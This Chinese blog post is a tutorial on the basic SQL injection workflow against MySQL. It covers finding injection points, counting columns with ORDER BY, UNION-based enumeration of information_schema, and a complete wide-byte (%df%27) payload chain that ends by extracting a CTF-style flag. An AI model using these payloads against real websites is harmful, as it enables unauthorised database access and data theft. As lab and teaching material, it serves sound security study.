美文网首页sql注入
sql注入基本思路

sql注入基本思路

作者: 小小怪吃吃吃 | 来源:发表于2018-03-23 21:01 被阅读18次

确定注入点

根据sql查询语句中数据类型的语法分为三类:

  • 数字型: SELECT 列 FROM 表 WHERE 数字型列=值
 **判断方法**: 
- and 1=1和and 1=2   
- ?id=1和id=2-1 
  • 字符型: SELECT 列 FROM 表 WHERE 字符型列=’值’
 **判断方法**: 
- ' and '1'='1和'and '1'='2
- ' or 1=1 %23
  • 搜索型: SELECT * FROM 表 WHERE where 被搜索的列 like ‘%值%’
 **判断方法**: 
- %' and '%1%'='%1和%'and '%1%'='%2
- ?id=1' or 1=2%23  #页面回显ID=1的数据',说明前面不可能带有%号通配符,如果有,不可能返回是ID=1的数据。可判断不是搜索型

关键:注释或闭合语句,and或or验证。闭合要注意括号、双引号、百分号等。

查询字段数目

注意#符号在GET请求中必须经过URL编码变为%23,原因是URL通用格式为scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
"#"符号规定在整个URL中起锚点作用,也是在URL中属于最后一位。如果你直接在GET请求中输入#,会被认为是一个锚点。而不是自己想要传递的参数。

用order by来判断字段数。

联合查询

内联式注入和终止式注入。union查询的列数和类型要相同。
MySQL常用的系统函数:

version()            #MySQL版本
user()               #数据库用户名
database()           #数据库名
@@datadir            #数据库路径
@@version_compile_os #操作系统版本

注意:-- 注释符在GET请求中必须在后面加一些字符,加号或是空格。

查询数据库

  • 查询所有数据库:group_concat函数可以把查询的结果并到一列中并默认隔开。

    id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+

  • 查询数据库:单引号数据库、hex编码数据库。

- id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
- hex编码后在前面加上0x表明这里是16进制编码

查询列名和字段名

在MYSQL5.0之后,MYSQL中存在一张很重要的表叫information_schema。

9.jpeg

完整的注入流程

> ?id=-1%df%27 union select 1,2--+
> 查看数据库名:?id=-1%df%27 union select 1,database()%23
> 查看列名:?id=-1%df%27 union select 1,table_name from information_schema.tables where table_schema=0x73716C35--+
> 查看字段名:?id=-1%df%27 union select 1,column_name from information_schema.columns where table_name=0x6B6579--+
> 查看flag:?id=-1%df%27 union select 1,string from sql5.key--+

相关文章

  • sql注入基本思路

    确定注入点 根据sql查询语句中数据类型的语法分为三类: 数字型: SELECT 列 FROM 表 WHERE 数...

  • Sqli-labs-Less-0

    目录基础回顾注释符基于类型分类SQL注入基本思路Sqli-labs-Less-1数据获取信息收集写入WebShel...

  • web常见漏洞的成因和修复

    1.SQL注入 漏洞描述:SQL 注入攻击( SQL Injection ),简称注入攻击、SQL 注入,主要用于...

  • 笔记:web漏洞

    SQL注入 SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,...

  • 谈谈sql注入之原理和防护(-)

    谈谈sql注入(二)谈谈sql注入(三)谈谈sql注入(四)所谓SQL注入,就是通过把SQL命令插入到Web表单提...

  • 小迪16期-20170226

    第二天:Sql注入集锦篇 1.Sql注入之access注入 2.Sql注入之mysql注入 3.Sql注入之mss...

  • 第四章 SQL 注入

    要点 SQL注入 SQL注入防护 一、SQL注入 SQL注入:黑客会通过构造一些恶意的输入参数,在应用拼接 SQL...

  • PHP代码安全之SQL注入

    PHP代码安全之SQL注入 1、什么是SQL注入? SQL攻击(英语:SQL injection),简称注入攻击,...

  • 谈谈sql注入之语句构造手法(二)

    谈谈sql注入(一)谈谈sql注入(三)谈谈sql注入(四)SQL注入的手法相当灵活,在注入的时候会碰到很多意外的...

  • SQL注入三部曲-初级

    目录 什么是SQL注入SQL注入产生的原因SQL注入攻击方式如何进行SQL注入SQL注入三部曲 1.渗透攻防WEB...

网友评论

    本文标题:sql注入基本思路

    本文链接:https://www.haomeiwen.com/subject/vfaxcftx.html